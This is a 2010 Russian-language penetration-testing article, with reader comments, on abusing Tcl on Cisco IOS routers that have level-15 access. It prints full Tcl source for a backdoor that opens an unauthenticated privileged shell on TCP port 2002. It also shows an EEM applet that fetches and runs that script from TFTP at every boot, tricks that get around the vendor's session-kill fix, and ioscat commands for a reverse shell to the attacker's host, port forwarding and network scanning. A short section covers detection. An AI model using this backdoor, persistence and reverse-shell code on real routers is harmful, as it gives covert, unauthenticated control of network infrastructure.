01.12.2010

Атака на TCL

image

Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются маршрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак c применением функционала Tcl. Несколько методов проведения таких атак я опишу в этой статье.

Автор: Роман Ильин
Positive Technologies

Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются маршрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак c применением функционала Tcl. Несколько методов проведения таких атак я опишу в этой статье.

Введение

Tcl (Tool Command Language, http://www.tcl.tk) – скриптовый язык, часто применяемый с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты до сих пор продолжает повсеместно использоваться как встроенный в различные приложения (вспомним хотя бы программы expect или irc-ботов eggdrop, использование его как модуля к серверной части apache mod_tcl). В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T

http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения “пользовательских” сценариев. Как наиболее известный пример можно упомянуть использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для выполнения следующих действий:

  • разработка собственного варианта “бэкдора” с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
  • использование маршрутизатора для проведения сканирования портов в различных сегментах сети;
  • использование маршрутизатора для проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
  • разработка вариантов сценариев для перебора паролей (брутфорса) различных устройств и серверов в сети.

Данными методами также может воспользоваться злоумышленник, получив доступ к TFTP-серверу компании, где размещены существующие сценарии, и принудительно заменив существующий сценарий на собственный. В этом случае произойдет его загрузка и запуск на маршрутизаторе.

Рис. 1 Атака подменой Tcl-сценария

Давайте попробуем понять, как это можно реализовать с использованием удаленного шелла, который возможно использовать без явной аутентификации, с использованием входа на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях «Рускрипто CTF 2010» - http://www.ruscrypto.org/.

В первую очередь давайте разберем, как работает Tcl на устройствах под управлеием IOS.

Загрузка и исполнение TCL-сценария

  1. Для первичной загрузки Tcl-сценариев необходимо иметь привилегированный доступ не ниже уровня 15 (enable).
  2. Tcl-сценарий необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP.
  3. Загрузку и выполнение сценарий можно выполнять как напрямую в RAM-память маршрутизатора, так и во FLASH-память c последующим его запуском с файловой системы IOS.

Загрузка сценария во FLASH и последующее его выполнение:


Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl

Загрузка сценария непосредственно с TFTP-сервера:


Router# tclsh tftp://192.168.1.4/script.tcl

Ниже приведен пример Tcl-сценария, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка сценария выполняется методами, описанными выше (в приведенном примере с сервера TFTP).


proc callback {sock addr port} {
  fconfigure $sock -translation crlf -buffering line
  puts $sock "Cisco router admin console:"
  puts $sock " "
  puts -nonewline $sock "Router# "
  flush $sock
  fileevent $sock readable [list echo $sock]
}

proc echo {sock} {
    global var

    flush $sock

    if {[catch {gets $sock line}] ||
       [eof $sock]} {
       return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
       return [close $sock]
           }

puts -nonewline $sock "Router# "
flush $sock
}

set port 2002
set sh [socket -server callback $port]
vwait var
close $sh

После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему (режим EXEC) без использования учетных записей и выполнять любые команды с использованием привилегий суперпользователя (level 15):


[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.

Cisco router admin console:

Router#

Рис. 2 Пример загрузки сценария–бэкдора

Хотел рассказать о некоторых ограничениях при работе с Tcl на устройствах под управлением IOS, которые необходимо учитывать. В первых версиях IOS, включавших поддержку Tcl, сценарий продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу сценария при обрыве линии или по команде clear line. Данный “патч-фикс” производителя можно обойти несколькими способами:

  • На линиях (console 0 или vty 0 4), с которых запускается сценарий, применить команду exec-timeout 0 0, в противном случае по завершении сессии сценарий прекратит свою работу.

Router>en
Router#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0

  • Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. В примере ниже показана конфигурация, которая загружает сценарий с TFTP через 20 секунд после запуска маршрутизатора.

Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

  • Конвертировать Tcl-сценарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

Готовые утилиты

В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в
IOScat, которые позволяют осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами.
С помощью встроенного языка Tcl можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив сценарий Tcl в flash маршрутизатора или используя TFTP-сервер напрямую в RAM. Методика загрузки и установки Tcl на маршрутизатор описана выше.

Примеры реализации:

Организация бэкдора на маршрутизаторе (2002 порт)
Router# tclshtftp://192.168.1.4/ioscat.tcl -ip2002 –oe

Рис. 3 Организация бэкдора на маршрутизаторе

Организация реверсного шелла на адрес атакующего (порт 12345)
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

(на вашей машине, приемником шелла пойдет обычный netcat, >nc -l -p 12345)

Рис. 4 Организация реверсного шелла на адрес атакующего

Проброс удаленного порта на локальный порт маршрутизатора (2002)
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80

Рис. 5 Проброс удаленного порта на локальный порт маршрутизатора

Для данного сценария есть много других примеров, например, копирование файлов с использованием сокетов, имитация Telnet-сессии на удаленном хосте, а также много других функций, о которых можно узнать на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, с урезанным функционалом, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого Tcl-сценария позволяет производить сканирование диапазонов IP-адресов на открытых tcp/udp-портах, в том числе используя метод инвентаризации хостов посредством протокола icmp.
Рассмотрим примеры использования:


Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]

Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]

Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

Free Memory on Platform = 29038388  / Memory required for this scan = 2622514

Host 192.168.1.1 is unavailable

Host 192.168.1.2 is unavailable

Host 192.168.1.3 is unavailable

Interesting ports on host 192.168.1.4
PORT     STATE      SERVICE
20/tcp   closed     ftp-data
21/tcp   closed     ftp
22/tcp   closed     ssh
23/tcp   closed     telnet
24/tcp   closed     priv-mail
80/tcp   open       http
443/tcp   closed     https

Host 192.168.1.5 is unavailable

Router#

Изменить варианты сканирования сценария можно путем добавления следующих аргументов:

  • -sP – только по ответу хоста;
  • -sT – TCP-портов, методом TCP connect;
  • -sU – UDP-портов, через функционал IP SLA.

Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных в использовании приложений для дальнейшей их реализации в сетевой среде на оборудовании Cisco Systems.

Методы обнаружения

Имея возможность запускать сценарии, также интересно иметь возможность отследить их исполнение; сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе с помощью следующих команд маршрутизатора:


Router#show processes cpu | i Tcl
 212        2284     17762        128  3.68%  2.88%  0.67% 162 Tcl Serv - tty16

Router#show tcp brief all
TCB       Local Address           Foreign Address        (state)
659CDABC  192.168.1.10.23         192.168.1.4.5163       ESTAB
654485B4  *.2002                  *.*                    LISTEN
65CA2D04  *.80                    *.*                    LISTEN

Начиная с версии IOS 12.4(4)Т, появилась возможность использования CPP (Control Plane Policy):


Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot        Local Address      Foreign Address                  Service    State
 tcp                 *:23                  *:0                   Telnet   LISTEN
 tcp                 *:23     192.168.1.4:1379                   Telnet ESTABLIS
 tcp                 *:80                  *:0                HTTP CORE   LISTEN
 tcp               *:1234                  *:0        Tcl Serv - tty163   LISTEN

Также можно использовать и автоматизированные средства, например, систему контроля защищенности и соответствия стандартам MaxPatrol (http://www.ptsecurity.ru).

Рис. 6 Система контроля защищенности и соответствия стандартам MaxPatrol

или введите имя

CAPTCHA
Страницы: 1  2  
ctg
02-12-2010 20:18:04
Накуренный аффтар решил статью из ][акер'а двухмесячной давности влепить сюда и ЧСВ поднять себе? Ну-ну.
0 |
malotavr
03-12-2010 10:30:00
А посмотреть, кто автор статьи двухмесячной давности в журнале Хакер, религия не позволяет?
0 |
03-12-2010 20:48:36
Что-то случилось с секьюритилаб. Появилась нормальная статья. Логинюсь снова, однако
0 |
Конь-в-пальто
04-12-2010 02:36:56
Ребята, ну ведь боян уже бородатый... Или это – для поколения Pepsi? Hacking Exposed Cisco Networks - 2006 http://taosecurity.blogspot.com/2005/03/cisco-routers-run-tcl-this-morning-i.html – 2005 Боян не способы использования, хотя, тут только фантазия и изобретательность суть ограничители, а сам факт того, что tcl может быть использован для всяких штук.
0 |
cfg
07-12-2010 01:16:47
"Для первичной загрузки Tcl-сценариев необходимо иметь привилегированный доступ не ниже уровня 15 (enable)." И ключ от квартиры...
0 |
07-12-2010 20:47:50
Все логично, 15 уровень конечно же нужен, но не во всех случаях обязателен, поскольку никто не мешает подменить любой существующий скрипт на сервере tftp.
0 |
09-12-2010 16:08:03
поскольку никто не мешает подменить любой существующий скрипт на сервере tftp. Приехали. Вы бы ещё для полного "абзаца" добавили, что это может сделать любой из Интернета. Для полноты картины того маразма, который Вы написали. А ещё root на UNIX-сервере может снести систему одной простейшей командой.
0 |
зохер
09-12-2010 21:34:08
не ожидал от г-на солдера столь странных заявлений. Поймать левел 15 не так уж сложно. Можно напрямую а можно например через днс ребиндинг. А неотфильтрованный тфтп с конфигами и пут в локалке вообще дела очень популярное. Брутим имена и перезаписываем чего надо. Да снмп ни кто не отменял.
0 |
10-12-2010 12:10:41
Поймать левел 15 не так уж сложно. Я не про Level 15 речь вел. Потрудитесь прочитать, о чем я писал. Можно напрямую а можно например через днс ребиндинг. Глупость номер 1. Каким боком тут DNS, если конфиг по TFTP грузится по IP? А неотфильтрованный тфтп с конфигами и пут в локалке вообще дела очень популярное. Брутим имена и перезаписываем чего надо. Да снмп ни кто не отменял. Глупость номер 2. Чушь даже, я бы сказал. Вы хоть сами поняли ту галиматью, которую написали? Это же просто набор понятий. О которых Вы, судя по всему, имеете очень туманное представление. Короче - феерический бред. На уровне троллинга.
0 |
Страницы: 1  2